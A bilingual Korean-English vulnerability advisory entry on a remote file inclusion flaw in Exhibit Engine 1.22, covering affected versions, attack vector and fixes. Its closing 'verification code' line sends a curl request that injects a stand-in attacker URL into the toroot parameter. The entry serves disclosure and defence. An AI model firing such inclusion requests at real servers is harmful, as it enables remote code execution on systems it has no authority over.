🇰🇷 한글 설명
Exhibit Engine 1.22 이전 버전의 fetchsettings.php, fstyles.php 파일에서 toroot 매개변수를 통한 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자는 임의의 원격 URL을 입력하여 웹 서버에서 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
Exhibit Engine 웹 애플리케이션이 사용자 입력을 검증 없이 외부 파일을 로드하도록 허용합니다. 해커가 악성 파일을 실행시켜 서버를 장악할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Exhibit Engine (EE) 1.22, and possibly earlier, allow remote attackers to execute arbitrary PHP code via a URL in the toroot parameter to (1) fetchsettings.php or (2) fstyles.php. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
📍 영향받는 시스템
Exhibit Engine (EE) 버전 1.22 및 그 이전 버전
⚔️ 공격 벡터
fetchsettings.php 또는 fstyles.php의 toroot 파라미터에 악의적인 원격 파일 URL 삽입
🛡️ 대응 방법
Exhibit Engine 최신 버전으로 업그레이드 또는 PHP include 함수 비활성화, 입력값 검증 강화
🔧 검증 코드
첫 명령어는 취약한 파일 존재 여부 확인, 두 번째는 원격 URL이 로드되는지 테스트하여 RFI 취약점 확인
find / -path '*/web*' -name 'fetchsettings.php' -o -name 'fstyles.php' 2>/dev/null; curl -s 'http://target/fetchsettings.php?toroot=http://attacker.com/test.php' 2>&1 | grep -i 'attacker'